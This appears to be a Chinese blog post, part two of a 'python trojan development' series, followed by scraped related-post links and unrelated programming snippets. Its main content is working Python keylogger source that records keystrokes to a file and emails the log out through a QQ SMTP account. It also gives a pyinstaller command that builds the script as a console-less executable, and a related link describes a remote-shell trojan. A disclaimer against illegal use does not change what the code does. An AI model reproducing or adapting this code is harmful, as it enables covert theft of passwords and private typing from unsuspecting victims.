python trojan development 2nd —— use python to send mail and listen to the key board then combine them
请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!!
from pynput.keyboard import Key,Listener
import logging
import os
import smtplib
from email.mime.text import MIMEText
from PIL import ImageGrab
import random
from time import *
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
def send_mail(filename):
file = open(filename,"r",encoding="UTF-8")
data = file.read()
file.close()
msg_from='@qq.com' #发送方邮箱
passwd='' #填入发送方邮箱的授权码
msg_to=''
subject="python邮件测试" #主题
content=data
msg = MIMEText(content,"plain","utf-8")
msg['Subject'] = subject
msg['From'] = msg_from
msg['To'] = msg_to
try:
s = smtplib.SMTP_SSL("smtp.qq.com",465)
s.login(msg_from, passwd)
s.sendmail(msg_from, msg_to, msg.as_string())
print( "发送成功")
except:
print("发送失败")
finally:
s.quit()
def mkdir(path):
path = path.strip()
# 去除尾部 \ 符号
path = path.rstrip("\\")
isExists = os.path.exists(path)
# 判断结果
if not isExists:
os.makedirs(path)
# print(path + ' 创建成功')
return True
else:
# 如果目录存在则不创建,并提示目录已存在
# print(path + ' 目录已存在')
return False
# 定义要创建的目录
path = "C:\\hola\\"
# 调用函数
mkdir(path)
logging.basicConfig(filename=(path+"keylog.txt"),format="%(asctime)s:%(message)s",level=logging.DEBUG)
def press(key):
logging.info(key)
if key==Key.enter:
return False
with Listener(on_press = press) as listener:
listener.join()
send_mail(path+"keylog.txt")
打包时候注意了,有些命令层面的错误我就不说了,我这里直接上命令
pyinstaller -F xx.py --hidden-pynput --noconsole
python trojan development 2nd —— use python to send mail and listen to the key board then combine them的更多相关文章
- python trojan development 1st —— use python to send mail and caputre the screen then combine them
import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的 ...
- python trojan development 3rd —— use python to creative a simple shell
前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写 有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服.我的代码自己运行过,很稳 ...
- Python Geospatial Development reading note(1)
chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...
- Beginning Python Games Development
Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...
- Python 3.4 send mail
#coding=utf-8 #Python 3.4 https://docs.python.org/3.4/library/ #IDE:Visual Studio 2015 Window10 impo ...
- 【Python网络编程】利用Python进行TCP、UDP套接字编程
之前实现了Java版本的TCP和UDP套接字编程的例子,于是决定结合Python的学习做一个Python版本的套接字编程实验. 流程如下: 1.一台客户机从其标准输入(键盘)读入一行字符,并通过其套接 ...
- 【转】linux和windows下安装python集成开发环境及其python包
本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...
- python公司面试题集锦 python面试题大全
问题一:以下的代码的输出将是什么? 说出你的答案并解释. class Parent(object): x = 1 class Child1(Parent): pass class Child2(Par ...
- python 2016 大会 pyconsk ppt ---python dtrace
https://github.com/pyconsk/2016-slides PyCon SK 2016 - March 2016 1DTrace and PythonJesús Cea Aviónj ...
随机推荐
- phpstorm 删除空行
思路: 用正则把所有空行找到,然后一键全部替换. 步骤:首先把 Regex 打上勾ctrl+f 搜索框就填写正则规则:^\nctrl+r 匹配到所有空行之后,点击[Replace all]即可
- python 教程 第二章、 类型
第二章. 类型 常量 5,1.23,9.25e-3,’This is a string’,”It’s a string!” 1) 数 整数:2 长整数: 浮点数:3.23,52.3E-4 复数:-5+ ...
- UVA 10869 - Brownie Points II(树阵)
UVA 10869 - Brownie Points II 题目链接 题意:平面上n个点,两个人,第一个人先选一条经过点的垂直x轴的线.然后还有一个人在这条线上穿过的点选一点作垂直该直线的线,然后划分 ...
- WPF中Binding使用StringFormat格式化字符串方法
原文:WPF中Binding使用StringFormat格式化字符串方法 货币格式 <TextBlock Text="{Binding Price, StringFormat={}{0 ...
- Angular使用echarts
安装 npm install echarts --save npm install @types/echarts --save 基本使用 定义一个dom <div id="chart& ...
- asp .net mvc 获得用户IP
string strHostName = System.Net.Dns.GetHostName(); //clientIPAddress是一个数组,可能有多个数据 var clientIPAddres ...
- 早期malloc分配时,如果内存耗尽分配不出来,会直接返回NULL。现在分配不出来,直接抛出异常(可使用nothrow关键字)
今天和同事review代码时,发现这样的一段代码: Manager * pManager = new Manager(); if(NULL == pManager) { //记录日志 return f ...
- WPF编游戏系列 之一 布局设计
原文:WPF编游戏系列 之一 布局设计 本系列主要使用WPF和C#编写一个简单的小游戏(暂命名XMarket),意在通过该实例进一步学习和体验WPF,也欢迎广大同仁拍砖交流.言归正传,在 ...
- js的位置和执行情况
放到<head>中的<script>在body加载之前就已经运行了. 写在body中的<script>是随着页面的加载而一个个执行的.
- js 注册事件
<!DOCTYPE html><html lang="en" xmlns="http://www.w3.org/1999/xhtml"> ...